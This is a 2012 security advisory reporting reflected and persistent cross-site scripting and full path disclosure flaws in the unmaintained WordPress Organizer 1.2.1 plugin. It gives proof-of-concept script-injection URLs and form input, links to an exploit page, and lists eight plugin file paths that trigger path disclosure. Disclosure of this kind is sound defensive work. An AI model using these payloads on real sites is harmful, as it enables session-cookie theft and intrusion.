WordPress Organizer 1.2.1 Cross Site Scripting / Path Disclosure

Hello list!

I want to warn you about multiple security vulnerabilities in plugin 
Organizer for WordPress. This is the first in series of advisories 
concerning vulnerabilities in this plugin.

These are Cross-Site Scripting (reflected and persistent) and Full path 
disclosure vulnerabilities.

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Affected products:
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Vulnerable are Organizer 1.2.1 and previous versions.

As answered me the developer of the plugin, he doesn't support it anymore 
and will no be fixing multiple vulnerabilities in it, about which I've 
informed him (these and many other vulnerabilities).

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Details:
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XSS (WASC-08):

http://site/wp-admin/admin.php?page=organizer/page/users.php&delete_id=%3Cscript%3Ealert(document.cookie)%3C/script%3E

XSS (Persistent) (WASC-08):

POST request at page 
http://site/wp-admin/admin.php?page=organizer/page/users.php
<script>alert(document.cookie)</script>
In field: "File extensions allowed".

Code will execute at the page users.php of the plugin.

Exploit:

http://websecurity.com.ua/uploads/2012/Organizer%20XSS-1.html

Full path disclosure (WASC-13):

http://site/wp-content/plugins/organizer/plugin_hook.php

http://site/wp-content/plugins/organizer/page/index.php

http://site/wp-content/plugins/organizer/page/dir.php

http://site/wp-content/plugins/organizer/page/options.php

http://site/wp-content/plugins/organizer/page/resize.php

http://site/wp-content/plugins/organizer/page/upload.php

http://site/wp-content/plugins/organizer/page/users.php

http://site/wp-content/plugins/organizer/page/view.php

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Timeline:
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2012.04.14 - announced at my site (http://websecurity.com.ua/5782/).
2012.04.15 - informed the developer.
2012.04.17 - the developer answered, that he didn't support the plugin 
anymore.
2012.04.21 - disclosed at my site.

Best wishes &amp; regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua